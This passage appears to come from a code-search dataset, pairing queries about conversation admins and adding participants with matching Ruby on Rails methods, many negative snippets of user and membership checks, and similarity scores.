user_id associated with session\r\n session = Session.where(token: token).take\r\n\tuser_id = session.user_id\r\n\t\r\n\t# Check if user_id is part of given chat\r\n\tauth_users = getChatSubscribers(chat_id)\r\n\tif auth_users.include?(user_id)\r\n\t\treturn user_id\r\n\telse\r\n\t\treturn -1\r\n\tend\r\nend", "def check_user\n \t\tif not (current_user.id == @conversation.sender_id or current_user.id == @conversation.recipient_id)\n \t\t\trender json: {\n \t\t\terror: \"Invalid user!\",\n \t\t\tstatus: 401\n\t\t\t}, status: 401\n\t\tend\n\n\tend", "def member?(user)\n user_ids.include?(user.id)\n end", "def is_current_player(user) \n\t\treturn user.id == self.current_player\n\tend", "def own_shared_to?\r\n shared_to = self.shared_to_type.constantize.find(self.shared_to_id)\r\n shared_to.user_id == self.user_id ? true : false\r\n end", "def current_user_id?(user_id)\n current_user.try(:id) == user_id\n end", "def authorized_by(user)\n user.id == self.sender_id\n end", "def who_is_it(opponent)\n opponent.user == current_user\n end", "def invited? user\n users.include?(user)\n end", "def any_unread? usr\n ConversationProcessor.new(self).any_unread? usr\n end", "def can_view(message)\r\n true if current_user.id == message.sender_id || current_user.id == message.receiver_id\r\n end", "def user?(user)\n self.user_id == user.id if user\n end", "def user?(user)\n self.user_id == user.id if user\n end", "def user?(user)\n self.user_id == user.id if user\n end", "def invited?(other_user)\n events_invited.include?(recipient_id: other_user.id, event_id: event_id)\n end", "def owned_by?(current_user)\n current_user && user_id == current_user.id\n end", "def belongs_toUser?(user_id)\n if session[:user_id] == user_id\n return true\n else\n return false\n end\n end", "def invitee?(user)\n return user.id == invitee_user_id\n end", "def user?(user)\n user.id == self.user_id if user\n end", "def replied_conv? usr\n if @conv.posts.count > 1 && @conv.posts.last.user_id != usr.id\n @conv.posts.each do |post|\n return true if post.user_id == usr.id\n end\n end\n false\n end", "def is_this_user\n\t\t@user.id == current_user.id\n\tend", "def attended?(user)\n self.attendees.include?(user)\n # self.users.map{|user| user.id }.include?(user_id)\n end", "def has_competitor?(user_id)\n get_relation(user_id).try(:started?)\n end", "def game_available_for? (user)\n user_state[user] == :invited\n end", "def has_subscriber?(user_id)\r\n self.subscribers.include?(user_id.to_i)\r\n end", "def recipient_is_sender?\n event = Event.where(id: \"#{params[:id]}\")[0]\n user = User.where(username: \"#{invite_params[:username]}\")[0]\n if event.creator.id == user.id\n flash[:notice] = \"You cannot invite yourself.\"\n redirect_to event_path(event)\n end\n end", "def participa?(otro_user)\n cousers.include?(otro_user)\n end", "def is_invitable_by(another_user)\n !!(\n is_associated_to_somebody_else_than(another_user) &&\n @swimmer.associated_user.find_any_friendship_with(another_user).nil?\n )\n end", "def current_bot?\n @bot.profile.id == @id\n end", "def request_sent?(_user_id)\n pending_user_relationships.where(user_id: _user_id).any?\n end", "def friend_request?(id)\n inverse_friendships.where(user_id: id).any?\n end", "def visible_to?(user)\n return self.user==user || !self.visible_to || self.visible_to.include?(user._id)\n end", "def can_chat_with(user)\n\n end", "def checkIfAlreadyOnline\n # check the presence chat channel to see if the current users is subscribed to the channel\n # if the user is then render return true, else return false\n allUsers = Pusher.get('/channels/presence-chat/users')\n allUsers[:users].each do |userHash|\n return true if userHash.first.last == current_user.id.to_s\n end\n return false\n end", "def has_conversation?(conversation)\n return mail_count(:all, :conversation => conversation) != 0\n end", "def subscribing?(other_user)\n subscribing.include?(other_user)\n end", "def user_can_reply user \n \n if Connection.exists?(self.connection_id)\n return connection.is_active\n end\n false\n end", "def current_user?(user)\n user == current_person.user\n end", "def isCampaignOwner\r\n\t\t@campaign.user_id == session[:user_id]\r\n\tend", "def is_user_insync?(user_id)\n BuzzInsync.where(\"buzz_id = ? and user_id = ?\",self.id,user_id).first.present?\n end", "def is_current_user(user)\n if current_user\n current_user.id == user.id\n else\n false\n end\n end", "def is_admin?(_user_id)\n conversation_members.admin.where(user_id: _user_id).any?\n end", "def is_current_user(user)\n logged_in? && @current_user.id == user.id\n end", "def current_user?(user)\n \t\tuser == current_user\n \tend", "def current_user?(user)\r\n user == current_user\r\n end", "def following?(other_user_id)\n following.include?(User.find(other_user_id))\n end", "def current_user?(user)\n \t\tuser == current_user\n \tend", "def belongs_to_current_profile_user?\n !!(@current_user.id == @user.id)\n end", "def belongs_to_current_profile_user?\n !!(@current_user.id == @user.id)\n end", "def invite?\r\n admin? or (user.id != user_record.id and streamer?)\r\n end", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def current_user?(user)\n\t\tuser == current_user\n\tend", "def alive_in_game?(game)\n game.players.select { |player| player.role == \"player\"}.map(&:user_id).include?(id)\n end", "def is_current_user?\n current_account.id.eql?(object.user.id)\n end", "def user_comment?(user_id)\n @current_user.id == user_id\n end", "def invited_by?(user)\n friendship = find_any_friendship_with(user)\n return false if friendship.nil?\n friendship.friendable_id == user.id\n end", "def connected_with?(user)\n find_any_friendship_with(user).present?\n end", "def fetch_conversation_if_exists\n # all members phone numbers should be included to do a proper lookup\n numbers = parsed_phones + [inviter.phone_normalized]\n inviter.conversations.find_by_phones(numbers).first\n end", "def unread? user_id\n !unread_messages(user_id).blank?\n end", "def answered_by?(user)\n replies.exists?(:user_id => user)\n end", "def authorized?(user_id)\n logged_in_user_id == user_id\n end", "def current?\n id.to_s.downcase == self.class.current_user_id\n end", "def own_topic?(topic)\n topic.read_attribute(:user_id) == self.id\n end", "def current_user?(user)\n\t\tcurrent_user == user\n\tend", "def check_current_user(id, token)\n @user != nil && @user.token.to_s() == token && @user.id.to_s() == id\n end", "def current_user?(user)\n user == current_user\n end", "def current_user?(user)\n user == current_user\n end" ]
[ "0.7299198", "0.7231549", "0.7068452", "0.70051", "0.69285077", "0.68953055", "0.68942624", "0.6828195", "0.6828195", "0.6819626", "0.68095887", "0.67378473", "0.673119", "0.6685123", "0.66744745", "0.6656612", "0.6654996", "0.66523147", "0.66236967", "0.66088057", "0.65712637", "0.6566996", "0.6557793", "0.6534635", "0.65319264", "0.65133876", "0.64984477", "0.64811355", "0.64557916", "0.64525324", "0.64274424", "0.64198416", "0.6417737", "0.64129966", "0.64066106", "0.6385774", "0.6385774", "0.6385774", "0.6367579", "0.6367427", "0.63633686", "0.63386023", "0.6337617", "0.63317376", "0.63241994", "0.6323952", "0.6313872", "0.6312088", "0.6309062", "0.629683", "0.62938714", "0.62929", "0.6289362", "0.62847793", "0.6278256", "0.6272777", "0.6268893", "0.62589896", "0.62485766", "0.6244981", "0.6239293", "0.623535", "0.62310636", "0.62272054", "0.6215254", "0.62126094", "0.6200838", "0.620047", "0.61869216", "0.6171826", "0.6170217", "0.61663604", "0.61663604", "0.61660355", "0.61651844", "0.61651844", "0.61651844", "0.61651844", "0.61651844", "0.61651844", "0.61651844", "0.61651844", "0.61651844", "0.61651844", "0.6165182", "0.61629295", "0.61602986", "0.61590856", "0.615453", "0.6151783", "0.6151612", "0.61481756", "0.61477774", "0.61426", "0.614146", "0.61383176", "0.613694", "0.613653", "0.613548", "0.613548" ]
0.8621658
0
check if user_id is admin from current conversation
def is_admin?(_user_id) conversation_members.admin.where(user_id: _user_id).any? end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def is_admin?(user_id)\n\t\treturn admin == user_id\n\tend", "def admin_user\n @current_user.admin?\n end", "def user_admin?\n \t@admin_user = Usuario.find(session[:user_id]).admin\n end", "def admin_user\n (current_user.present? && current_user.admin?)\n end", "def admin_user?\n if current_user != nil\n !!current_user.admin\n end\n end", "def user?(admin)\n admin&.id == self.admin_id\n end", "def is_admin?(user)\n user.admin > 0\n end", "def check_admin\n # using the function above by grabbing the id\n @current_user = find_current_user\n # cross checking to see if user is also an admin\n unless @current_user.present? and @current_user.is_admin?\n #they're find so no additional code needed\n #if they're not admin\n redirect_to root_path\n end\n end", "def admin_user?\n session[:user][:uid] == APP_CONFIG[:admin]\n end", "def i_am_owner_or_admin(user_id)\n \tuser_to_check = User.find(user_id)\n \tif user_to_check\n \t\tif user_to_check.is_admin\n \t\t\treturn true\n \t\telse\n\t \t\tif self.from_user_id == user_to_check.id\n\t \t\t\treturn true\n\t \t\telse\n\t \t\t\treturn false\n\t \t\tend\n \t\tend\n\n \tend\n\n end", "def admin_user?\n member_type == MEMBER_TYPE[:admin]\n end", "def admin_user\n # get current user for session and check if they are an administrator\n check_admin_user = current_user\n return check_admin_user.admin?\n end", "def admin_user?\n (current_user.role == 'admin') if logged_in?\n end", "def admin_user?\n current_user.admin\n end", "def admin_user?\n self.admin ==true\n end", "def isCurrentUserAdmin(id)\n\t@user = User.find(id)\n return @user.group == 1\n end", "def admin?\n if(@current_user)\n @current_user.admin?\n end\n end", "def admin?\n @user = current_user\n if @user\n # @person = Person.find(@user.person_id)\n if !(@user.person.admin)\n redirect_to root_path\n end\n end\n end", "def is_admin(user_id)\n result = db_connection().execute('SELECT admin FROM users WHERE id=?', user_id)\n p result\n return (result[0] && result[0][\"admin\"].to_i == 1)\n end", "def is_admin?\n usertype == \"admin\" and id == 0\n end", "def user_admin?\n user_logged_in? && @current_user.type == 'Admin'\n end", "def admin?\n\t\tuser_session.admin?\n\tend", "def is_admin? oid\n admins.include? oid\n end", "def admin?\n @user = current_user.is_admin?\n end", "def admin?\n self.admin_user\n end", "def admin?(user = nil)\n membership = Membership.find_by group_id: id, user_id: user.id,\n role: 'admin'\n return false if membership.nil?\n membership.user_id == user.id\n end", "def current_user_is_admin\n\t\ttrue if current_user.admin == 't'\n\tend", "def admin_loggedin?\r\n @logged_in_user and @logged_in_user.admin?\r\n end", "def normal_user?\n self.admin ==false\n end", "def checkAdmin\n current_user.present? && current_user.isAdmin\n end", "def admin?\n user_role_id == UserRole::ADMIN\n end", "def admin?\n current_user.admin?\n end", "def admin_user?\n\t\treturn self.user_category == \"admin\"\n\tend", "def admin?\n return false\n # return (session[:user_id] && User.find(session[:user_id])[:login] == '') ? true : false\n end", "def eventunscrape?\n @user.is_admin?\n end", "def is_admin?\n return false unless logged_in?\n user = User.find_by_id(current_user)\n user.userstatus.status == \"admin\" ? true : false\n end", "def admin?\n #warning: ADMIN must have id 0, rake db:seed to get admin and sample user\n logged_in? && current_user.admin\n end", "def is_admin?\n if valid_session?\n current_user.admin == true\n end\n end", "def admin?\n\t\tcurrent_user.try(:admin)\n\tend", "def admin?\n if (User.find session[:user_id]).role == \"Admin\"\n true\n end\n end", "def admin_authorized?\n\t\tif @user\n\t\t\t@user.level >= ADMIN_USER_LEVEL \n\t\telse\n\t\t\tnil\n\t\tend\n\tend", "def admin?\n user.admin?\n end", "def admin?\n @current_user.admin?\n end", "def admin?\n c_user = current_user\n not c_user.nil? and c_user.group==\"admin\"\n end", "def admin_user?\n unless (current_user && current_user.admin?)\n flash[:danger] = \"You are not an admin. You can not do that\"\n redirect_to :action => 'index'\n end\n end", "def admin?\n logged_in? && current_user.admin\n end", "def admin?\n @user.admin?\n end", "def admin? \n (logged_in? && current_member.admin?) ? true : false\n end", "def admin?\n self.user_type == TYPES[:admin]\n end", "def admin?\n user = check_user\n user.role == User.role_types['Admin']\n end", "def is_admin?\n @user = User.find(params[:id])\n if !current_user.admin?\n flash[:danger] = \"Only admins can do that\"\n redirect_to home_path\n end\n end", "def invite?\r\n admin? or (user.id != user_record.id and streamer?)\r\n end", "def verify_admin\n unless current_user.admin? or params[:id].to_i == current_user.id\n redirect_to users_path, :alert => 'You are unauthorized to do that.'\n end\n end", "def admin?(user)\n user.role_names.include?('cmsadmin')\n end", "def mentor?\n !admin?\n end", "def check_admin\n if !current_user.admin?\n return redirect_to '/messages/no_access'\n end\n end", "def isCurrentUserAuthorOrAdmin(id, session)\n\tunless session == nil\n\t\treturn id == session || User.find(session).group == 1 # TODO: if admin naj bo tudi true\n\tend\n\t\n\treturn false\n end", "def admin_user?\n \treturn self.user_category == \"admin\"\n end", "def is_admin?\n current_user && current_user.try(:admin?)\n end", "def current_admin?(user)\n current_user.admin?\n end", "def admin?\n User.admin_logged_in?\n end", "def is_admin_or_owner client, event\n # calls users_info on slack\n info = client.users_info(user: event.user_id ) \n info['user']['is_admin'] || info['user']['is_owner']\n end", "def admin?\n logged_in? and current_user.admin?\n end", "def admin?\n logged_in? && current_user.admin?\n end", "def admin?\n current_user.admin?\n end", "def is_admin?\n is_admin == 1\n end", "def admin_required\n session[:user_id] && (user = User.find(session[:user_id])) && user.is_admin\n end", "def is_admin\n user = UserAdmin.find_by_user_id(current_user.id)\n if user and user.level > 1\n return true || false\n end\n end", "def logged_admin?\n !current_admin.nil?\n end", "def can_message? o\n return true\n # return true if admin?\n # false\n end", "def admin?\n @usuario_actual = Usuario.find_by_id(session[:user_id])\n return true if @usuario_actual.admin?\n \n redirect_to new_session_path and return false\n end", "def admin?\n user_signed_in? && current_user.admin?\n end", "def is_admin?\n current_user ? current_user.login == 'admin' : false\n end", "def admin?\n return ( self.user_type == User::USER_TYPE_ADMIN )\n end", "def is_admin?\n self.id.between?(1, 6)\n end", "def check_is_admin\n unless is_admin?\n bounce_chumps \"You're not an admin.\"\n end\n end", "def admin?\n self == User.first\n end", "def admin?\n !current_user.AdminScreen?\n end", "def is_admin\n return Admin.find_by(email: session[:email]) != nil\n end", "def admin\n is_user_in_role(ADMIN_ROLE_ID)\n end", "def admin?; current_user.admin?; end", "def admin?; current_user.admin?; end", "def current_user_admin?\n current_user && current_user.admin?\n end", "def admin?\n @current_user && @current_user.has_role?(:admin)\n end", "def is_admin?\n self.role_id.present? && ADMIN_ROLE_ID == self.role_id\n end", "def admin?\n if user_signed_in? && current_user.user_level == 1\n return true\n end\n return false\n end", "def isAdmin?\n return current_usuario != nil && current_usuario.admin\n end", "def admin_logged_in?\n User.admin_logged_in?\n end", "def admin_logged_in?\n User.admin_logged_in?\n end", "def admin_logged_in?\n current_user && current_user.admin?\n end", "def is_admin?(user)\r\n self.admins.one? { |email, admin| email == user.email }\r\n end", "def from_admin?\n if self.sender == self.receiver\n true\n else\n false\n end\n end", "def is_admin\n \tif current_user != nil\n\t \t \tif !current_user.admin\n redirect_to root_path, :alert => \"Acceso denegado\"\n\t \tend\n\t\t else\n redirect_to root_path, :alert => \"Acceso denegado\"\n\t\t end\n \t\t\n\n end", "def i_am_owner_or_admin(user_id)\n\t\tuser_to_check = User.find(user_id)\n\t\tif user_to_check\n\t\t\tif user_to_check.is_admin\n\t\t\t\treturn true\n\t\t\telse\n\t \t\tif self.user_id == user_to_check.id\n\t \t\t\treturn true\n\t \t\telse\n\t \t\t\treturn false\n\t \t\tend\n\t\t\tend\n\t\tend\n\tend", "def is_admin?\n current_user && current_user.admin\n end", "def is_admin?\n logged_in? && current_user && current_user.admin\n end", "def is_admin?\n !!current_user.admin if !!current_user\n end", "def admin()\n @data[\"access\"][\"user\"][\"roles\"].each do |role|\n if role[\"name\"].eql?(\"admin\")\n return true\n end\n end\n return false\n end", "def is_admin? (user)\n get_admins.any? {|admin|\n user =~ admin\n } && user.authed?\n end", "def admin?( id )\n acl.has_permission?(id, AlbumACL::ADMIN_ROLE) || SystemRightsACL.singleton.has_permission?(id, SystemRightsACL::SUPPORT_HERO_ROLE)\n end" ]
[ "0.78232646", "0.734285", "0.7296295", "0.7212587", "0.7212086", "0.7202949", "0.72008276", "0.71941465", "0.7188969", "0.7172338", "0.7138661", "0.71316415", "0.71249884", "0.7095167", "0.70883363", "0.70812905", "0.70787835", "0.7078168", "0.7071933", "0.70621085", "0.70384926", "0.70324427", "0.7029781", "0.7029736", "0.7019559", "0.7007751", "0.6991101", "0.6987298", "0.69836724", "0.6979389", "0.69705474", "0.6970198", "0.6966357", "0.69652236", "0.696445", "0.69591075", "0.6958807", "0.69568634", "0.6955838", "0.69536906", "0.6952907", "0.69471234", "0.694319", "0.69348913", "0.69285804", "0.6927088", "0.6924223", "0.69233274", "0.69178283", "0.6908218", "0.6904372", "0.6903664", "0.6900164", "0.6895108", "0.68936193", "0.68869257", "0.6886509", "0.6885381", "0.687446", "0.6872896", "0.6859826", "0.6859514", "0.68420625", "0.6839333", "0.6836895", "0.68253535", "0.682503", "0.682212", "0.6822049", "0.68186873", "0.6818481", "0.68150496", "0.680643", "0.68038714", "0.67948693", "0.6793403", "0.6791746", "0.6791346", "0.6769595", "0.6762881", "0.67605984", "0.67605984", "0.6756991", "0.6756921", "0.67551005", "0.6750997", "0.6743179", "0.6739378", "0.6739378", "0.6738503", "0.67384523", "0.67369133", "0.67365956", "0.6735615", "0.6735138", "0.6733364", "0.6729936", "0.67292595", "0.672844", "0.67245907" ]
0.86353064
0
add a new participant to the current conversation user_ids: (Array) new participants ID current_user: user who is adding the new participant
def add_participant(_user_ids, _current_user = nil) update(new_members: _user_ids.is_a?(Array) ? _user_ids : [_user_ids], updated_by: _current_user) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add_participant\n user = self.load_user(params)\n meeting = self.load_meeting(params)\n participant_ids = params[\"participant_ids\"]\n comment = params[\"comment\"].nil? ? \"\" : params[\"comment\"]\n\n if user != nil and meeting != nil and participant_ids.length > 0\n participant_ids.each do |participant_id|\n unless meeting.participants.exists?(participant_id)\n new_participant = User.find(participant_id)\n meeting.participants << new_participant\n # add default vote for the new added participant to each suggestion\n meeting.suggestions.each do |suggestion|\n suggestion.votes << Vote.new(:voter => new_participant, :decision => \"?\")\n end\n\n NotificationService.send_meeting_invitation(user, new_participant, meeting, comment)\n end\n end\n self.send_ok\n else\n self.send_error 401\n end\n end", "def add_participant\n user = User.find(params[:user_id])\n\n unless user_is_initiator(current_user, @chat)\n return fail_response(['You are not an author of the conversation'], 403)\n end\n\n if user_related_to_chat(@chat, user)\n return fail_response(['User is already in chat'], 403)\n end\n\n @chat.add_participant(user)\n\n render json: { message: 'success' }, status: :ok\n end", "def add_participant(user) # :nodoc:\n id = user.to_s.downcase\n if @participant_ids.include?(id)\n logger.warning(\"Attempted to add a participant who was already in the wavelet(#{@id}): #{id}\")\n return nil\n end\n\n # Allow string names to be used as participant.\n user = if @context.users[id]\n @context.users[id]\n else\n @context.add_user(:id => id)\n end\n\n @context.add_operation(:type => Operation::WAVELET_ADD_PARTICIPANT,\n :wave_id => @wave_id, :wavelet_id => @id, :property => user)\n @participant_ids << id\n \n user\n end", "def add_participants_to_global_competition\n\t\tusers = User.where({:in_grand_competition=>true})\n\t\t\n\t\tinvitation_count = 0\n\t\tusers.each do |user|\n\t\t\tCompetitionParticipant.add_participant(user.id, self.id)\n\t\t\tinvitation_count += 1\n\t\tend\n\t\tAppMailer.global_race_admin_notify(self.id, users.length, invitation_count).deliver\n\t\t\n\t\treturn \"#{self.name} created. #{invitation_count}/#{users.length} users invited.\"\n\tend", "def add_participant(course_id, user)\n if CourseParticipant.find_by(parent_id: course_id, user_id: user.id).nil?\n CourseParticipant.create(parent_id: course_id, user_id: user.id, permission_granted: user.master_permission_granted)\n end\n end", "def set_participant_ids\n self.participant_ids = []\n self.participant_ids << user_id.to_s\n end", "def ajoutParticipants(participant)\n @participants.push(participant)\n end", "def add_owner_to_participants\n EventParticipant.create(user_id: self.user_id, event_id: self.id)\n end", "def participants=(new_participants)\n @participants = new_participants\n self.participant_ids = new_participants.collect(&:id)\n end", "def new_participants=(value)\n @new_participants = value\n end", "def add_participant(assignment_id, user)\n return if AssignmentParticipant.find_by(parent_id: assignment_id, user_id: user.id)\n\n AssignmentParticipant.create(parent_id: assignment_id, user_id: user.id, permission_granted: user.master_permission_granted)\n end", "def add_user!(current_user , user, is_admin:)\n raise_if_user_is_owner(user)\n\n if(!user_exists?(current_user))\n raise SecurityError.new \"No Permissions\"\n end\n #check if user is present\n \n if(!user.persisted?)\n raise ArgumentError.new \"The user is not persisted\"\n end\n\n\n current_user_role = participants.find_by(user_id: current_user.id)\n if super_admin == current_user || current_user_role.member_type == Course.roles[\"admin\"] \n if is_admin\n participants.create(user_id: user.id, member_type: Course.roles[\"admin\"])\n return true\n else\n participants.create(user_id: user.id, member_type: Course.roles[\"participant\"])\n return true\n end\n end\n if current_user_role.member_type == Course.roles[\"participant\"] && public && !is_admin\n participants.create(user_id: user.id, member_type: Course.roles[\"participant\"])\n return true\n end\n\n\n raise SecurityError.new \"No Permissions\"\n end", "def create\n\n if params[:event][:user_id].nil?\n params[:event][:user_id] = current_user.id.to_s\n end \n \n @event = Event.create(params[:event].except(:participants))\n current_user.events.push @event\n @event.participants.create(:user_id => current_user.id, :hasResponded => false, :isAttending => true ,:isAdmin => true ).save\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to(:controller => \"calendar\", :action => \"index\", :notice => 'Event was successfully created.') }\n format.xml { render :xml => @event, :status => :created, :location => @event }\n format.js\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @event.errors, :status => :unprocessable_entity }\n format.js\n end\n end\n\n\n\n end", "def add_team_mates\n @team = Team.find(params[:id])\n @users = User.find(params[:add])\n @users.each do |user|\n @team.invite(current_user, user)\n end\n flash[:success] = \"Invitations sent\"\n redirect_back_or root_path\n end", "def add_collaborator\n @project = current_user.projects.find(params[:id])\n @collaborator = User.find_by_email(params[:collaborator])\n @project.users << @collaborator\n\n if @project.save\n record_activity(\"added supervisor \" + params[:collaborator])\n redirect_to project_path(@project), :notice => \"Supervisor is added successfully\"\n else\n record_activity(\"error occured when added supervisor \" + params[:collaborator])\n redirect_to project_path(@project), :alert => \"Supervisor is already added\"\n end\n end", "def create\n @election = Election.new(election_params)\n respond_to do |format|\n if @election.save\n @election.users << current_user #add the current user to the users for this election\n format.html { redirect_to user_elections_path, notice: 'Election was successfully created.' }\n format.json { render :show, status: :created, location: @election }\n else\n format.html { render :new }\n format.json { render json: @election.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_participants(participants)\n participants.each do |p|\n self.add_default_contact_reason(p)\n end\n end", "def addUser\n\tconference = Conference.find(params[:id])\n\tuserTest = conference.users.find_by_email(params[:email])\n\tif userTest.nil?\n\t\tconference.users << User.find_by_email(params[:email])\n\t\tredirect_to conferences_url, notice: 'User Added'\n\telse\n\t\tredirect_to conferences_url, notice: 'Cant add the same User twice'\n\tend\n end", "def add_participant_to_deal(id:, **args)\n params = parameters(args) do\n required_params :person_id\n optional_params :person_id\n end\n request(:post, \"deals/#{id}/participants\", params)\n end", "def add\n @event = Event.find(params[:id])\n @user = current_user\n @content = \"is_interested\"\n @object = @event.id\n if current_user \n \t\t@event.users << current_user\n \tredirect_to @event, :notice => I18n.t(:reminders_add)\n else\n redirect_to sign_up_url, :notice => I18n.t(:remindes_add_else)\n \tend\n end", "def add_partners_TEMP_DANGEROUS\n User.find(:all).each do |user|\n Partnership.create(:inviter => logged_in_user, :receiver => user) if logged_in_user.dealership != user.dealership\n end\n redirect_to :back\n end", "def attend_event\n current_user.attended_events << Event.find(params[:event_id])\n flash[:notice] = 'Event was successfully added to your attended events!'\n redirect_to user_path\n end", "def create\n\n @room = Room.find(params[:room_id])\n @booking = Booking.find(params[:booking_id])\n @user = User.find(params[:user_id])\n puts @user.email\n count = @booking.participantCount\n if @booking.participantCount<@room.capacity\n if @booking.participants.exists?(user_id: @user.id)\n flash[:danger]= \"User is already Added\"\n redirect_back(fallback_location: root_path)\n else\n @booking.update_column(:participantCount, (count+1))\n @participant = @booking.participants.create(:user_id => @user.id, :email => @user.email)\n @pusers= @user.pusers.create(:booking_id => params[:booking_id])\n\n\n if @participant.save\n UserMailer.accept_invitation(@participant).deliver_now\n flash[:success]= \"User is been added\"\n redirect_back(fallback_location: root_path)\n else\n flash[:danger] = \"Something went wrong\"\n end\n end\n else\n flash[:danger]= \"Maximum Capacity is reached\"\n redirect_back(fallback_location: root_path)\n end\n\n end", "def join!(user)\n # It loads up all the user because in the case where the chat is saved but the chat_participations have not been saved,\n # this is the only way to ensure we don't have duplicates.\n return if self.chat_participations.map(&:user_id).include?(user.id)\n self.chat_participations.create!(:user => user)\n end", "def add_to_group(team, this_user)\n team[:user_ids] << this_user\n end", "def create\n \n @participant = current_user.build_participant(participant_params)\n \n respond_to do |format|\n if @participant.save\n format.html { redirect_to @participant, notice: \"Participant was successfully created.\" }\n format.json { render :show, status: :created, location: @participant }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @participant.errors, status: :unprocessable_entity }\n end\n end\n end", "def ab_add_participant(experiment, alternative, identity)\n VanityParticipant.retrieve(experiment, identity, true, seen: alternative)\n end", "def create\n @participation = Participation.new(participation_params)\n @participation.user_id = current_user.id\n @participation.save\n end", "def invitar(otro_user)\n if user != otro_user and not cousers.include?(otro_user)\n participacions.create(user_id: otro_user.id)\n end\n end", "def add_members(_members)\n _members.each do |_user_id|\n user_relationships.where(user_id: _user_id).first_or_create!(accepted_at: Time.current)\n end\n end", "def new_user_and_participant\n @participant = Participant.new\n end", "def friending(a_user)\n # self.push_uniq(:attendees => a_user.id)\n friendship_ids << a_user.id\n save\n end", "def add_member(user, id = nil)\n raise \"The user \\\"#{user.name}\\\" is already a member of the team, \\\"#{self.name}\\\"\" if user?(user)\n t_user = TeamsUser.create(user_id: user.id, team_id: self.id)\n parent = TeamNode.find_by(node_object_id: self.id)\n TeamUserNode.create(parent_id: parent.id, node_object_id: t_user.id)\n add_participant(self.parent_id, user)\n end", "def invite\n if not user_signed_in?\n redirect_to new_user_session_path\n else\n User.find(params[:user_id]).invites << current_user\n redirect_to friends_path\n end\n end", "def create\n initiator = self.load_user(params)\n\n if initiator != nil\n new_meeting = Meeting.create\n new_meeting.initiator_id = initiator.id\n new_meeting.location = params[\"meeting\"][\"location\"]\n new_meeting.title = params[\"meeting\"][\"title\"]\n new_meeting.participants << initiator\n new_meeting.save!\n self.send_json(build_custom_meeting_json(meeting: new_meeting))\n else\n self.send_error 401\n end\n end", "def addmember(user)\n\t\t#generate random leid for mailchimp\n\t\tuser.euid = rand(1 .. 500000000).to_s\n\t\tuser.save\n\t\t#assuming LEID is our user id and EUID is mailchimp's unique one\n\t\t#taken from here https://bitbucket.org/mailchimp/mailchimp-api-ruby/\n\t\tsubscribers = [{ \"EMAIL\" => { \"email\" => user.email,\n \"LEID\" => user.id.to_s,\n \"EUID\" => user.euid\n },\n\n :EMAIL_TYPE => 'html',\n :merge_vars => { \"FNAME\" => user.first_name,\n \"LNAME\" => user.last_name,\n \"STATUS\" => \"Subscribed\"\n }\n }]\n\n #batch-subscribe(string apikey, string id, array batch, boolean double_optin, boolean update_existing, boolean replace_interests)\n \t@mc.lists.batch_subscribe(@mli, subscribers, false, true, false)\n\tend", "def participate!(given_event)\n participations.create!(participated_id: given_event.id)\n end", "def add_friend\n\t\t# unless @current_user.friends.include? params[:id] \n\t\t@current_user.push(friends: params[:id])\n\t\t# push to friends array id number of friend\n\n\t\tredirect_to \"/profile/#{@current_user.id}\"\n\t\t# show the new friend\n\tend", "def add_responsible(responsible)\n users << responsible\n end", "def create\n\n partnership = Partnership.new\n partnership.user = current_user\n\n if (partnership.participants.find_by(reference: params[:first_participant_id]) == nil)\n participant1= Participant.find_by(reference: params[:first_participant_id])\n partnership.participants.concat(participant1)\n end\n\n if (partnership.participants.find_by(reference: params[:second_participant_id]) == nil)\n participant2= Participant.find_by(reference: params[:second_participant_id])\n partnership.participants.concat(participant2)\n end\n\n #partnership.first_participant = Participant.find_by(reference: params[:first_participant_id])\n #partnership.second_participant = Participant.find_by(reference: params[:second_participant_id])\n\n partnership.save\n @partnership = partnership\n\n=begin\n respond_to do |format|\n if partnership.save\n format.html { redirect_to @partnership, notice: 'Partnership was successfully created.' }\n format.json { render action: 'show', status: :created, location: @partnership }\n else\n format.html { render action: 'new' }\n format.json { render json: @partnership.errors, status: :unprocessable_entity }\n end\n end\n=end\n end", "def add_user_ids(user_ids) # :nodoc:\n user_ids.each do |id|\n @context.add_user(:id => id) unless @context.users[id]\n end\n end", "def add_friend\n\n current_user.friends_list.push(define_friend)\n # binding.pry\n if current_user.save\n render json: current_user \n else\n render json: @user.errors, status: 422\n end\n\n end", "def add(user)\n GroupMembers.new(:id => id).post(user)\n end", "def after_update_actions\n if is_newbie_changed? && is_newbie == false # registration completed\n if Date.today.to_s == \"2017-03-03\" || Date.today.to_s == \"2017-03-04\"\n conv = Conversation.where(key: 'event_intellect').first\n unless conv.present?\n User.bot.conversations.create!(key: 'event_intellect', group_title: 'Intellect', new_members: [id])\n else\n conv.add_participant(id)\n end\n end\n end\n end", "def add_seen_for(user_id, *subject_ids)\n [subject_ids].flatten.compact.each do |subject_id|\n user(user_id).seen.add subject_id\n end\n end", "def add_users_to_cc_list(user_ids)\n user_ids.each { |id| self.users << User.find(id) }\n self.save\n end", "def add_participant(participant)\n messages.each do |message|\n Mailboxer::ReceiptBuilder.new({\n :notification => message,\n :receiver => participant,\n :updated_at => message.updated_at,\n :created_at => message.created_at\n }).build.save\n end\n end", "def add( env, id, current_user )\n member = ActiveFedora::Base.find( id )\n return unless env.current_ability.can?( :edit, member )\n env.curation_concern.provenance_child_add( current_user: current_user, child_id: id, event_note: 'BeforeAttachMembersActor' )\n end", "def add_to_cc_list\n\n @eco_task = EcoTask.find(params[:eco_task_id])\n\n # Add the user to the email cc list.\n user = User.find(params[:id])\n if !@eco_task.users.include?(user)\n @eco_task.users << user\n @eco_task.save\n end\n @users_eligible_for_cc_list = @eco_task.users_eligible_for_cc_list\n \n render(:layout=>false)\n\n end", "def create_members\n project = Project.find(params[:id])\n\n 